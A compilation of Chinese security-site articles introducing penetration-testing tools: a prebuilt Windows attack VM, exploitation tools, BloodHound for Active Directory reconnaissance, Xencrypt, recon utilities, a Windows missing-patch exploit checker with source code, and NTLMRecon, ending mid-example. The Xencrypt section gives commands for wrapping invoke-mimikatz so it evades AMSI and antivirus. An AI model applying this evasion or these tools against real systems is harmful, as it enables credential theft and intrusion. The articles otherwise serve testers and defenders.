AJE-Windows渗透环境

今天给大家分享由AJE团队搭建好的渗透环境,AJE Windows,这款渗透环境是Windows的发行版,集成了各种重量级安全工具和常用的安全工具,以及搭建者收集觉得好用的工具。

镜像下载链接:

https://pan.baidu.com/s/1x0HUJzpjViDzifmeCIbeUw 提取码:967D

里面有解压密码,下载好镜像后把两个压缩包解压到同一个文件夹里面,然后打开VMwar击打开虚拟机—>选择刚刚下载的AJEWindows7安全镜像文件直接打开虚拟机—>然后进去之后输入开机密码(刚刚在网盘下载的文件里面有)进入了桌面,就可以开始你的表演了,不会用虚拟机的去Google或者百度搜VMware使用教程,接下来给大家看看效果

AJE-Windows渗透环境AJE-Windows渗透环境

完美的你,仅缺一个配的上你的AJE Windows,本人现在也在用着,感觉比一些其它的渗透环境用的顺手,强烈推荐用这款AJE Windows,有哪里要反馈的可以在AJE团队官网反馈http://www.hacker-aje.cn

AJE-Windows渗透环境仅供于合法渗透测试,用于违法行为概不负责

本文作者QQ3516634930,转载请挂上我博客原文链接https://www.sakuar.cn/aje-windows/,和作者QQ

本文作者:酷酷的繁星

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/128323.html

本文来源于互联网:AJE-Windows渗透环境

这些年,我们一直追逐的漏洞利用神器

现在,也许我们所认为的漏洞利用工具神器,十年后,又该会是什么样子呢?可能大概就像我们现在看到以前的啊d注入工具的样子吧。

近几日,我忽然思考这样一个问题:如果一种漏洞类型,让你推荐一款与之强相关的漏洞利用神器,你会怎么推荐?
下面,我来分享一下我心里的答案,推荐几款我认为的漏洞利用神器,欢迎各位来一起补充。

1、SQL注入漏洞

推荐项目:SQLmap

项目地址:http://sqlmap.org/

推荐理由:殿堂级工具,注入神器,效果谁用谁知道。

这些年,我们一直追逐的漏洞利用神器

2、XSS

推荐项目:beef

项目地址:

https://beefproject.com/

推荐理由:专门针对浏览器攻击的框架,一个专注于Web浏览器的渗透测试工具。

这些年,我们一直追逐的漏洞利用神器

3、文件包含漏洞

推荐项目:LFISuite

项目地址:

https://github.com/D35m0nd142/LFISuite

推荐理由:一款全自动工具,能够使用多种不同攻击方法来扫描和利用本地文件包含漏洞。

这些年,我们一直追逐的漏洞利用神器

4、CSRF

推荐项目:CSRFTester

项目地址:

https://wiki.owasp.org/index.php/File:CSRFTester-1.0.zip

推荐理由:一款CSRF漏洞的测试工具,集抓包和Poc构造与一体。

这些年,我们一直追逐的漏洞利用神器

5、XXE(外部实体注入漏洞)

推荐项目:XXEinjector

项目地址:

https://github.com/enjoiz/XXEinjector

推荐理由:使用直接和不同带外方法自动利用XXE漏洞的工具。

这些年,我们一直追逐的漏洞利用神器

6、Xpath注入

推荐项目:XCat

项目地址:

https://github.com/orf/xcat

推荐理由:一个命令行工具,可以利用和检测XPath盲注漏洞。

这些年,我们一直追逐的漏洞利用神器

7、Struts漏洞利用

推荐项目:K8 Struts2 Exploit

推荐理由:Struts2综合漏洞利用工具,包含收集信息,执行命令、文件上传、连接小马、文件管理等功能。

这些年,我们一直追逐的漏洞利用神器

8、Jboss漏洞

推荐项目:JexBoss

项目地址:

https://github.com/joaomatosf/jexboss

推荐理由:扫描和检测Jboss中可能存在多个安全漏洞。

这些年,我们一直追逐的漏洞利用神器

9、路由器漏洞

推荐项目:RouterSploit   

项目地址:

https://github.com/threat9/routersploit

推荐理由:一款专门针对嵌入式设备的漏洞利用工具,包含了27个品牌的上百种漏洞利用模块,涉及的路由器、摄像头等设备有几百种。

这些年,我们一直追逐的漏洞利用神器


重复造轮子者甚多,而能够称之为神器的工具甚少,我们应当时常心怀感激,感谢每一位安全开发者的无私奉献。

本文作者:Bypass007

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/128547.html

本文来源于互联网:这些年,我们一直追逐的漏洞利用神器

内网渗透之域关系探测神器:Bloodhound

注:本篇文章建立在有一定的内网渗透基础前提下,所以翻译时候有些词汇显得比较术语化,建议大家没事可以多了解下内网渗透的知识

内网渗透之域关系探测神器:Bloodhound

保护一个公司或者组织免受当今复杂的攻击并非易事。除了管理保护组织安全的日常职责之外,通常还需要安全团队随时准备响应事件。为了有效管理,安全团队必须具有良好定义的策略和可靠的检测功能。这种功能和策略的实施常常会在蓝队和红队之间引发一场持续的军备竞赛,双方都在寻求越来越复杂的工具和检测能力。然而,安全专业人员通常可以通过预测可能的攻击路径并采取步骤阻止攻击者使用这些路径从而优化他们的工作并获得优势。

如何获取隐藏到域控制器管理员账户?

首先我们得要先知道什么是隐藏的管理员帐户?为什么要关心这个问题?

隐藏的管理员帐户是域帐户,提供对敏感系统(如域控制器、exchange服务器或数据库服务器)的管理员访问。这些帐户可能不属于特权Active Directory (AD)组(即域管理员),但是它们仍然可以访问相同的系统。这些帐户的权限是使用AD对象上的访问控制列表(ACL)直接分配的。

这些隐藏的管理员帐户通常是服务或维护帐户,它们在环境中执行自动化的例行任务。此外,隐藏的管理员帐户通常可以访问环境中的多个系统。值得关注的是,在配置检查或密码管理和监视方面,这些帐户通常不会得到与普通管理员账户相同的关注。

因此,他们经常作为一种弱点项来进行探测,红队利用这些服务帐户进行横向渗透并且访问多个系统。

此外,隐藏的管理员帐户也经常成为自我传播的恶意软件的目标,包括那些用于勒索软件和加密攻击的恶意软件。利用这些管理员特权,恶意软件可以很容易地在整个公司中传播。

如何处理隐藏的管理帐户?

我们这选择是使用侦探犬。不,我说的不是耷拉着眼睛的气味狗——我说的是现在很多红色团队使用的非常流行的内部AD侦察工具。

内网渗透之域关系探测神器:Bloodhound

侦探犬是一个单页JavaScript web应用程序,带有一个由PowerShell脚本提供的Neo4j数据库。侦探犬使用图论方式来揭示AD环境中隐藏的、常常是意想不到的关系图。

它由Will Schroeder (@harmjoy)、Andrew Robbins (@_wald0)和Rohan Vazarkar (@CptJesus)开发。侦探犬可以在几分钟内完成以前需要渗透测试人员和分析人员几周才能完成的工作。尽管该工具在渗透测试社区中非常流行,但是我们仍然发现一些安全性和IT团队没有意识到它对于保护他们的基础设施有多么强大和有益。具体来说,侦探犬可以发现隐藏的关系和管理帐户,如过不进行使用探测这些账户可能会被我们忽略掉。要使用侦探犬,您必须设置Neo4j community edition数据库。然后需要将侦探犬web应用程序连接到Neo4j数据库。有关完整的安装说明,请访问侦探犬Wiki

(https://github.com/BloodHoundAD/BloodHound/wiki/Getting-started)

设置好数据库并登录到侦探犬web应用程序之后,需要使用Bloodhound PowerShell ingestor选项从AD中提取AD数据。

图1显示了一个示例命令,它搜索林(-SearchForest)中的所有域,以及用于保存生成的CSV文件的文件夹位置。

内网渗透之域关系探测神器:Bloodhound

图1:运行侦探犬的Bloodhound PowerShell Ingestor

一旦ingestor完成,您将看到三个CSV文件,它们可以上传到侦探犬中,如图2所示:

A.group_membership.csv 
B.local_admins.csv 
C.Sessions.csv

内网渗透之域关系探测神器:Bloodhound

图2:侦探犬web应用的上传界面

上传这些文件后,利用侦探犬内部的预构建查询。这些查询是开始获取有关环境的重要信息的好方法。查询包括:

查看所有域管理员; 查看具有最多本地管理员权限的用户; 或查看具有最多管理用户访问权限的计算机。

其中一个查询使我们能够得到域信任关系,如图3所示。

内网渗透之域关系探测神器:Bloodhound

图 3:侦探犬预构建分析查询

在查找隐藏的管理员帐户和信任错误配置时,我们通常使用预先构建的查询“查找拥有最多本地管理权限的前10个用户”和“映射域信任”。

这些查询将提供一些快速的结果,并向我们展示哪些帐户可以访问最多的系统,以及域之间是否存在双向信任,从而允许对环境进行更大程度的访问。找到隐藏的管理员帐户的另一个好方法是直接查看系统、组或用户节点信息。我们只需输入环境中的任何用户、组或系统名称的前几个字符,就可以调查该环境中的任何用户、组或系统名称。

一旦您选择了一个节点,左侧面板中的“node Info”字段就会填充。您还可以右键单击一个节点并选择子选项“Expand”,以查看该节点的成员,如图4所示。

内网渗透之域关系探测神器:Bloodhound

图4:侦探犬用户交互界面

我们能够轻松发现隐藏管理员帐户的另一种方法是搜索敏感的系统,比如域控制器。这可以通过简单地搜索“域控制器”组并左键单击组节点来实现。左边的“Node Info”字段将被填充。接下来,在“群组成员”部分中,左键单击“直接成员”旁边的数字。将看到该组下的所有域控制器系统节点,如图5所示。

内网渗透之域关系探测神器:Bloodhound

图5:侦探犬显示的域控制器组的成员

接下来,左键单击其中一个系统节点(例如:“GOAT-DC”),并在“Local Admins”部分中,左键单击“Derivative Local Admins”旁边的数字,如图6所示。

内网渗透之域关系探测神器:Bloodhound

图6:侦探犬显示的GOAT-DC 派生的本地管理员

现在,我们可以看到有两个帐户具有对域控制器的本地管理员访问权,它们不在“域管理员”组中,甚至没有显示在图4中。。

结论

环境中隐藏的管理员帐户常常被遗忘,或者完全不为人知。它们可以为攻击者提供一种独特的方式来获得域管理员权限并不破坏环境。 侦探犬在识别隐藏的管理员帐户方面非常有效,而且功能强大且易于使用。它可以在几分钟内提供对你的域环境的关系图谱,在你寻找隐藏的域关系时,它是一个很好的工具。我们建议安全公司经常使用像侦探犬这样的免费工具进行威胁探测,并将它们作为定期的、主动的安全评估的一部分。我们在安全方面越主动,就越能更好地预测威胁,为我们的团队做好准备,并提高我们阻止入侵的能力。

*本文作者:130421106,转载请注明来自FreeBuf.COM

本文来源于互联网:内网渗透之域关系探测神器:Bloodhound

Xencrypt:一款基于PowerShell脚本实现的反病毒绕过工具

Xencrypt:一款基于PowerShell脚本实现的反病毒绕过工具

Xencrypt

今天给大家介绍的这款工具名叫Xencrypt,它是一款基于PowerShell脚本实现的反病毒绕过工具。如果你不想花时间对类似invoke-mimikatz这样的PowerShell脚本进行混淆处理以避免其被检测到的话,那么Xencrypt就是你的最佳选择了。Xencrypt能够自动对目标脚本代码进行处理,并且可以生成近乎无限量的变种代码,以帮助研究人员绕过基于签名机制的反病毒检测产品。

从本质上来说,Xencrypt是一款PowerShell代码加密工具,它使用了AES加密算法以及Gzip/DEFLATE压缩算法来对目标脚本代码进行处理,并生成一个完全不同的脚本,但功能却一模一样。首先,它会对输入的脚本代码进行加密和压缩,然后将脚本数据以Payload的形式存储在新的脚本中,而这个新的脚本Payload在运行之前是无法被解密或解压的。

功能介绍

当前版本的Xencrypt拥有以下几种强大的功能:

1、绕过AMSI以及VirusToal上目前所使用的所有现代反病毒检测引擎;

2、压缩和加密PowerShell脚本;

3、资源消耗和开销非常小;

4、使用随机化变量名以进一步实现混淆处理;

5、随机化加密和压缩,还可以调整语句在代码中的顺序,以获得最大熵;

6、可根据用户需求自行修改并创建自己的密码器变种;

7、支持递归分层加密,最多可支持500层加密;

8、支持Import-Module以及标准方式来运行;

9、GPLv3-开源许可证协议;

10、所有的功能都以单一文件实现,最大程度实现灵活性;

工具使用

广大研究人员可以直接使用下列命令来生成加密和压缩处理后的新脚本:

Import-Module ./xencrypt.ps1

Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1

运行了上述命令之后,你将会拿到一个已加密的文件名为“xenmimi.ps1”的PowerShell文件,该文件存储在当前工作目录下。你可以按照正常的脚本使用方式来运行或使用该脚本:

Import-Module ./xenmimi.ps1

Invoke-Mimikatz

除此之外,它还支持通过-Iterations参数来进行递归分层加密:

Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1 -Iterations 100

上述命令将会对目标脚本进行100次的压缩和加密处理,这种方式对于动态反病毒产品绕过来说是非常有用的,因为这些反病毒产品都有一个代码分析的超时时间。在这里,动态扫描必须要扫描完整个文件代码链才有可能识别到恶意负载,因此通过递归分层加密将能够绕过这类AV产品。

不过,使用递归分层加密的话,将有可能导致最终生成的脚本文件体积过大,而且生成和输出文件可能也需要花很长的时间,具体将取决于脚本和请求的迭代次数。

工具运行截图

Xencrypt:一款基于PowerShell脚本实现的反病毒绕过工具Xencrypt:一款基于PowerShell脚本实现的反病毒绕过工具

项目地址

Xencrypt:【GitHub传送门

* 参考来源:the-xentropy,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

本文来源于互联网:Xencrypt:一款基于PowerShell脚本实现的反病毒绕过工具

XCTR-Hacking-Tools:一款多合一功能的信息收集工具

XCTR-Hacking-Tools:一款多合一功能的信息收集工具

XCTR-Hacking-Tools是一款整合了多种功能为一身的信息收集工具。

首先,你需要创建一个项目来存储相关的所有数据。

收集到的所有信息都将以“项目-名称”的形式存储在结果目录中。

除此之外,你还可以在设置区域中更新用户代理以及代理信息,或者更新URL、代理、项目名、字典和线程数等等。

功能介绍

该工具的功能包括:

1、Docker查找器

2、管理员面板查找器

3、CMS查找器

4、IP历史记录

5、反向IP地址

6、页面查看器

7、代理查找器

工具安装

广大用户可以使用下列命令完成工具的下载和安装,并使用requirements.txt完成依赖组件的配置:

git clone https://github.com/capture0x/XCTR-Hacking-Tools/

cd xctr-hacking-tools

pip3 install -r requirements.txt

工具使用

python3 xctr.py

工具运行之后,所有的数据收集结果都将存储在“results/project-name”中。

Docker查找器

Docker查找器有两个部分组成,即“bing”和“yandex”:

*.php?id=

管理员面板查找器

在这个地方,我们首先需要设置一个扫描所需的字典,此时可以按下“2”来修改字典并完成登录。

URL格式为“https://targetsite.com/”。

如果扫描速度比较慢的话,你可以尝试更新代理,按下“3”即可完成更新。

IP历史记录

该工具可以显示并存储目标域名的IP历史记录。使用样例如下:

targetsite.com

反向IP

在该工具的帮助下,我们可以查找到服务器所绑定的域名。使用样例如下:

212.57.147.54

工具运行截图 

XCTR-Hacking-Tools:一款多合一功能的信息收集工具XCTR-Hacking-Tools:一款多合一功能的信息收集工具XCTR-Hacking-Tools:一款多合一功能的信息收集工具XCTR-Hacking-Tools:一款多合一功能的信息收集工具XCTR-Hacking-Tools:一款多合一功能的信息收集工具XCTR-Hacking-Tools:一款多合一功能的信息收集工具XCTR-Hacking-Tools:一款多合一功能的信息收集工具

项目地址

XCTR-Hacking-Tools:【GitHub传送门

* 参考来源:capture0x,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

本文来源于互联网:XCTR-Hacking-Tools:一款多合一功能的信息收集工具

Windows主机漏洞扫描工具

0×00 说明:

这是一款基于主机的漏洞扫描工具,采用多线程确保可以快速的请求数据,采用线程锁可以在向sqlite数据库中写入数据避免database is locked的错误,采用md5哈希算法确保数据不重复插入。

本工具查找是否有公开exp的网站为shodan,该网站限制网络发包的速度,因而采用了单线程的方式,且耗时较长。

功能:

查找主机上具有的CVE

查找具有公开EXP的CVE

Windows主机漏洞扫描工具

0×01 起因:

因为需要做一些主机漏洞扫描方面的工作,因而编写了这个简单的工具。之前也查找了几款类似的工具,如下:

vulmap:

vulmon开发的一款开源工具,原理是根据软件的名称和版本号来确定,是否有CVE及公开的EXP。这款Linux的工具挺好用,但是对于Windows系统层面不太适用。

windows-exp-suggester:

这款和本工具的原理一样,尝试使用了之后,发现它的CVEKB数据库只更新到2017年的,并且没有给出CVE是否有公开的EXP信息。

基于以上所以写了这个简单的工具,该项目在https://github.com/chroblert/WindowsVulnScan

0×02 原理:

1. 搜集CVE与KB的对应关系。首先在微软官网上收集CVE与KB对应的关系,然后存储进数据库中

2. 查找特定CVE网上是否有公开的EXP

3. 利用powershell脚本收集主机的一些系统版本与KB信息

4. 利用系统版本与KB信息搜寻主机上具有存在公开EXP的CVE

0×03 参数:

 # author: JC0o0l
 # GitHub: https://github.com/chroblert/
 可选参数:
   -h, --help           show this help message and exit
   -u, --update-cve     更新CVEKB数据
   -U, --update-exp     更新CVEEXP数据
   -C, --check-EXP       检索具有EXP的CVE
   -f FILE, --file FILE ps1脚本运行后产生的.json文件

0×04 示例:

1. 首先运行powershell脚本KBCollect.ps收集一些信息

 .KBCollect.ps1

2. 将运行后产生的KB.json文件移动到cve-check.py所在的目录

3. 安装一些python3模块

 python3 -m pip install requirements.txt

4. 运行cve-check.py -u创建CVEKB数据库

5. 运行cve-check.py -U更新CVEKB数据库中的hasPOC字段

6. 运行cve-check.py -C -f KB.json查看具有公开EXP的CVE,如下:

Windows主机漏洞扫描工具

0×05 源码:

KBCollect.ps1:

 function Get-CollectKB(){
     # 1. 搜集所有的KB补丁
     $KBArray = @()
     $KBArray = Get-HotFix|ForEach-Object {$_.HotFixId}
     $test = $KBArray|ConvertTo-Json
     return $test
 }
 function Get-BasicInfo(){
     # 1. 操作系统
     # $windowsProductName = (Get-ComputerInfo).WindowsProductName
     $windowsProductName = (Get-CimInstance Win32_OperatingSystem).Caption
     # 2. 操作系统版本
     $windowsVersion = (Get-ComputerInfo).WindowsVersion
     $basicInfo = "{""windowsProductName"":""$windowsProductName"",""windowsVersion"":""$windowsVersion""}"
     return $basicInfo
     
 }
 $basicInfo = Get-BasicInfo
 $KBList = Get-CollectKB
 $KBResult = "{""basicInfo"":$basicInfo,""KBList"":$KBList}"
 $KBResult|Out-File KB.json -encoding utf8

cve-check.py:

 import requests
 import sqlite3
 import json
 import hashlib
 import math
 import re
 import threading
 import time
 import argparse
 from pathlib import Path
 # 删除一些ssl 认证的warnging信息
 requests.packages.urllib3.disable_warnings()
 
 ThreadCount=20
 DBFileName="CVEKB.db"
 TableName="CVEKB"
 insertSQL = []
 updateSQL = []
 lock = threading.Lock()
 KBResult = {}
 parser = argparse.ArgumentParser()
 parser.add_argument("-u","--update-cve",help="更新CVEKB数据",action="store_true")
 parser.add_argument("-U","--update-exp",help="更新CVEEXP数据",action="store_true")
 parser.add_argument("-C","--check-EXP",help="检索具有EXP的CVE",action="store_true")
 parser.add_argument("-f","--file",help="ps1脚本运行后产生的.json文件")
 args = parser.parse_args()
 
 class CVEScanThread(threading.Thread):
     def __init__(self,func,args,name="",):
         threading.Thread.__init__(self)
         self.func = func
         self.args = args
         self.name = name
         self.result = None
 
     def run(self):
         print("thread:{} :start scan page {}".format(self.args[1],self.args[0]))
         self.result = self.func(self.args[0],)
         print("thread:{} :stop scan page {}".format(self.args[1],self.args[0]))
 class EXPScanThread(threading.Thread):
     def __init__(self,func,args,name="",):
         threading.Thread.__init__(self)
         self.func = func
         self.args = args
         self.name = name
         self.result = None
 
     def run(self):
         print("thread:{} :start scan CVE: {},xuehao:{}".format(self.args[1],self.args[0],self.args[2]))
         self.result = self.func(self.args[0],)
         print("thread:{} :stop scan CVE: {}".format(self.args[1],self.args[0]))
     def get_result(self):
         threading.Thread.join(self)
         try:
             return self.result
         except Exception:
             return "Error"
 def get_page_num(num=1,pageSize=100):
     url = "https://portal.msrc.microsoft.com/api/security-guidance/en-us"
     payload = "{"familyIds":[],"productIds":[],"severityIds":[],"impactIds":[],"pageNumber":" + str(num) + ","pageSize":" + str(pageSize) + ","includeCveNumber":true,"includeSeverity":false,"includeImpact":false,"orderBy":"publishedDate","orderByMonthly":"releaseDate","isDescending":true,"isDescendingMonthly":true,"queryText":"","isSearch":false,"filterText":"","fromPublishedDate":"01/01/1998","toPublishedDate":"03/02/2020"}"
     headers = {
         'origin': "https//portal.msrc.microsoft.com",
         'referer': "https//portal.msrc.microsoft.com/en-us/security-guidance",
         'accept-language': "zh-CN",
         'user-agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299",
         'accept': "application/json, text/plain, */*",
         'accept-encoding': "gzip, deflate",
         'host': "portal.msrc.microsoft.com",
         'connection': "close",
         'cache-control': "no-cache",
         'content-type': "application/json",
        }
 
     response = requests.request("POST", url, data=payload, headers=headers, verify = False)
     resultCount = json.loads(response.text)['count']
     return math.ceil(int(resultCount)/100)
 
 def update_cvekb_database(num=1,pageSize=100):
     pageCount = get_page_num()
     #for i in range(1,pageCount+1):
     i = 1
     pageCount=524
     tmpCount = ThreadCount
     while i <= pageCount:
         tmpCount = ThreadCount if (pageCount - i) >= ThreadCount else pageCount - i
         print("i:{},pageCount-i:{},ThreadCount:{},PageCount:{}".format(i,pageCount-i,ThreadCount,pageCount))
         time.sleep(0.5)    
         threads = []
         print("===============================")
         for j in range(1,tmpCount + 1):
             print("更新第{}页".format(i+j-1))
             t = CVEScanThread(update_onepage_cvedb_database,(i+j-1,j,),str(j))
             threads.append(t)
         for t in threads:
             t.start()
         for t in threads:
             t.join()
             # update_onepage_cvedb_database(num=i)
         i = i + tmpCount
         conn = sqlite3.connect(DBFileName)
         for sql in insertSQL:
             conn.execute(sql)
         conn.commit()
         conn.close()
         if tmpCount != ThreadCount:
             break
         
         
 def check_POC_every_CVE(CVEName=""):
     #apiKey = ""
     #url = "https://exploits.shodan.io/api/search?query=" + CVEName + "&key=" + apiKey
     url = "https://exploits.shodan.io/?q=" + CVEName
     try:
         response = requests.request("GET",url=url,verify=False,timeout=10)
         #total = json.loads(response.text)
     except Exception as e:
         print("Error,{}".format(CVEName))
         print(e)
         return "Error"
     if "Total Results" not in response.text:
         return "False"
     else:
         return "True"
 def update_onepage_cvedb_database(num=1,pageSize=100):
     url = "https://portal.msrc.microsoft.com/api/security-guidance/en-us"
 
     payload = "{"familyIds":[],"productIds":[],"severityIds":[],"impactIds":[],"pageNumber":" + str(num) + ","pageSize":" + str(pageSize) + ","includeCveNumber":true,"includeSeverity":false,"includeImpact":false,"orderBy":"publishedDate","orderByMonthly":"releaseDate","isDescending":true,"isDescendingMonthly":true,"queryText":"","isSearch":false,"filterText":"","fromPublishedDate":"01/01/1998","toPublishedDate":"03/02/2020"}"
     headers = {
         'origin': "https//portal.msrc.microsoft.com",
         'referer': "https//portal.msrc.microsoft.com/en-us/security-guidance",
         'accept-language': "zh-CN",
         'user-agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299",
         'accept': "application/json, text/plain, */*",
         'accept-encoding': "gzip, deflate",
         'host': "portal.msrc.microsoft.com",
         'connection': "close",
         'cache-control': "no-cache",
         'content-type': "application/json",
        }
     try:
         response = requests.request("POST", url, data=payload, headers=headers, verify = False)
         resultList = json.loads(response.text)['details']
     except :
         print(response.text)
     conn = sqlite3.connect(DBFileName)
     create_sql = """Create Table IF NOT EXISTS {} (
        hash TEXT UNIQUE,
        name TEXT,
        KBName TEXT,
        CVEName TEXT,
        impact TEXT,
        hasPOC TEXT)""".format(TableName)
     conn.execute(create_sql)
     conn.commit()
     conn.close()
     for result in resultList:
         KBName = result['articleTitle1'] + ";" if (result['articleTitle1'] !=  None) and result['articleTitle1'].isdigit() else ""
         KBName += result['articleTitle2'] + ";" if (result['articleTitle2'] != None) and result['articleTitle2'].isdigit() else ""
         KBName += result['articleTitle3'] + ";" if (result['articleTitle3'] != None) and result['articleTitle3'].isdigit() else ""
         KBName += result['articleTitle4'] + ";" if (result['articleTitle4'] != None) and result['articleTitle4'].isdigit() else ""
         if KBName == "":
             continue
         h1 = hashlib.md5()
         metaStr = result['name'] + KBName + result['cveNumber'] + result['impact']
         h1.update(metaStr.encode('utf-8'))
         #hasPOC = check_POC_every_CVE(result['cveNumber'])
         # 收集到所有的KB后再搜索有没有公开的EXP
         hasPOC = ""
         sql = "INSERT OR IGNORE INTO "+TableName+" VALUES ('" + h1.hexdigest() + "','" + result['name'] + "','" + KBName + "','" + result['cveNumber'] + "','" + result['impact'] + "','" + hasPOC+"')"
         with lock:
             global insertSQL
             insertSQL.append(sql)
         # conn.execute(sql)
     # conn.commit()
     # conn.close()
     # pass
 
 def select_CVE(tmpList=[],windowsProductName="",windowsVersion=""):
     conn = sqlite3.connect(DBFileName)
     con = conn.cursor()
     intersectionList = []
     count = 0
     for i in tmpList:
         sql = 'select distinct(CVEName) from '+ TableName+' where (name like "'+ windowsProductName+'%'+ windowsVersion + '%") and ("'+ i +'" not in (select KBName from '+ TableName +' where name like "'+ windowsProductName+'%'+windowsVersion+'%")); '
         cveList = []
         for cve in con.execute(sql):
             cveList.append(cve[0])
         if count == 0:
             intersectionList = cveList.copy()
         count +=1
         intersectionList = list(set(intersectionList).intersection(set(cveList)))
     intersectionList.sort()
     for cve in intersectionList:
         sql = "select CVEName from {} where CVEName == '{}' and hasPOC == 'True'".format(TableName,cve)
         # print(sql)
         con.execute(sql)
         if len(con.fetchall()) != 0:
             print("{} has EXP".format(cve))
     # print(intersectionList)
 def update_hasPOC(key = "Empty"):
     conn = sqlite3.connect(DBFileName)
     con = conn.cursor()
     if key == "All":
         sql = "select distinct(CVEName) from {}".format(TableName)
     else:
         sql = "select distinct(CVEName) from {} where (hasPOC IS NULL) OR (hasPOC == '')".format(TableName)
 
     con.execute(sql)
     cveNameList = con.fetchall()
     i = 0
     count = 1
     while i < len(cveNameList):
         print("|=========={}============|".format(i))
         # tmpCount = ThreadCount if (len(cveNameList) - i) >= ThreadCount else len(cveNameList) - i
         # threads = []
         # for j in range(1,tmpCount+1):
         #     t = EXPScanThread(check_POC_every_CVE,(cveNameList[i+j][0],j,i+j,),str(j))
         #     threads.append(t)
         # for t in threads:
         #     t.start()
         # for t in threads:
         #     t.join()
         # j = 1
         # for t in threads:
         #     hasPOC = t.get_result()
         #     print(hasPOC)
         #     update_sql = "UPDATE "+TableName+" set hasPOC = '" + hasPOC + "' WHERE cveName == '" + cveNameList[i+j][0] +"';"
         #     conn.execute(update_sql)
         #     print("[+] update:{}".format(update_sql))
         #     j += 1
         # i=i+ThreadCount
         # conn.commit()
         hasPOC = check_POC_every_CVE(cveNameList[i][0])
         time.sleep(0.3)
         update_sql = "UPDATE "+TableName+" set hasPOC = '" + hasPOC + "' WHERE cveName == '" + cveNameList[i][0] +"';"
         conn.execute(update_sql)
         print(update_sql)
         count += 1
         i += 1
         if count == 10:
             conn.commit()
             print("[+]update")
             count = 1
     conn.commit()
     conn.close()
     print("Over")
 
 
 if __name__ == "__main__":
     banner = """
    ========CVE-EXP-Check===============
    |       author:JC0o0l               |
    |       wechat:JC_SecNotes         |
    |       version:1.0                 |
    =====================================
    """
     print(banner)
     if (not args.check_EXP ) and (not args.update_cve) and (not args.update_exp) and args.file is None:
         parser.print_help()
     if args.update_cve:
         update_cvekb_database()
     if args.update_exp:
         dbfile=Path(DBFileName)
         if dbfile.exists():
             update_hasPOC(key="Empty")
         else:
             print("请先使用-u 创建数据库")
             parser.print_help()
     if args.check_EXP:
         dbfile=Path(DBFileName)
         if not dbfile.exists():
             print("请先使用-u 创建数据库,之后使用 -U 更新是否有EXP")
             parser.print_help()
             exit()
         if args.file:
             with open(args.file,"r",encoding="utf-8") as f:
                 KBResult = json.load(f)
             windowsProductName = KBResult['basicInfo']['windowsProductName']
             windowsProductName = ((re.search("w[w|s]+d+[s|$]",windowsProductName).group()).strip()).replace("Microsoft","").strip()
             windowsVersion = KBResult['basicInfo']['windowsVersion']
             print("系统信息如下:")
             print("{} {}".format(windowsProductName,windowsVersion))
             tmpKBList = KBResult['KBList']
             KBList = []
             for KB in tmpKBList:
                 KBList.append(KB.replace("KB",""))
             print("KB信息如下:")
             print(KBList)
             print("EXP信息如下:")
             select_CVE(tmpList=KBList,windowsProductName=windowsProductName,windowsVersion=windowsVersion)
         else:
             print("请输入.json文件")    
     

*本文作者:jerrybird,转载请注明来自FreeBuf.COM

本文来源于互联网:Windows主机漏洞扫描工具

NTLMRecon:一款针对Web应用NTLM认证信息的枚举工具

NTLMRecon:一款针对Web应用NTLM认证信息的枚举工具

NTLMRecon

NTLMRecon是一款针对Web应用NTLM认证信息的枚举工具,如果目标Web节点启用了NTLM认证功能,那么广大研究人员就可以使用NTLMRecon来枚举目标相关信息。

NTLMRecon是一款运行速度快且扩展灵活的NTLM侦察工具,该工具无需外部依赖即可实现其功能。在处理大量潜在IP地址和域名时,NTLMRecon将能够帮助我们快速收集关于目标NTLM节点的相关信息。

注意:该项目的内部字典取自nyxgeek/lyncsmash库。

工具概览

NTLMRecon可以搜索到启用了NTLM的Web节点,然后向其发送伪造的认证请求,并能够尝试从NTLMSSP响应中枚举出下列信息:

1、活动目录域名

2、服务器名

3、DNS域名

4、FQDN

5、父DNS域

由于NTLMRecon利用了一个Python脚本来实现NTLMSSP,这样可以在每次扫描成功之后消除Nmap NSE http-ntlm-info的运行开销。

工具安装

Arch

如果你运行的是Arch Linux,或其他基于Arch Linux发行版的系统,你可以点击【这里】从AUR获取最新版本的构建文件。

通用安装

首先,使用下列命令将项目源码克隆至本地:

git clone https://github.com/sachinkamath/ntlmrecon/

建议大家在虚拟环境中使用该文件,安装Virtualenv的命令如下:

pip install virtualenv

接下来,使用下列命令创建一个新的虚拟环境,并激活该环境:

virtualenv venv

source venv/bin/activate

运行安装文件:

python setup.py install

安装完成之后,你就可以使用下列命令来运行NTLMRecon并查看帮助信息了:

ntlmrecon --help

工具使用

         _   _ _____ _     ___  _________

        | | |_   _| |    |  /  || ___

        |  | | | | | |    | .  . || |_/ /___  ___ ___  _ __

        | . ` | | | | |    | |/| ||    // _ / __/ _ | '_

        | |  | | | | |____| |  | || |  __/ (_| (_) | | | |

        _| _/ _/ _____/_|  |_/_| ____|______/|_| |_|

             v.0.1 beta - Y'all still exposing NTLM endpoints?

usage: ntlmrecon [-h] [–input INPUT | –infile INFILE] [–wordlist WORDLIST] [–threads THREADS] [–output-type] –outfile OUTFILE [–random-user-agent] [–force-all] [–shuffle]

optional arguments:

  -h, –help           显示帮助信息或退出

  –input INPUT        以IP地址、URL或CIDR作为输入来枚举NTLM节点

  –infile INFILE         传递本地输入文件

  –wordlist WORDLIST  使用自定义字典覆盖内部字典

  –threads THREADS    设置线程数量 (默认为10)

  –output-type, -o    设置输出文件类型,支持JSON和CSV (默认为CSV) 

  –outfile OUTFILE    设置输出文件名称 (默认为ntlmrecon.csv)

  –random-user-agent  使用随机用户代理来发送请求 (默认为 False) (未完成)

  –force-all          强制枚举所有节点 (默认为False)

  –shuffle            打乱输入文件中的数据顺序

工具使用样例

针对单个URL地址进行侦察

$ ntlmrecon --input https://mail.contoso.com --outfile ntlmrecon.csv

针对一个CIDR范围或IP地址进行侦察

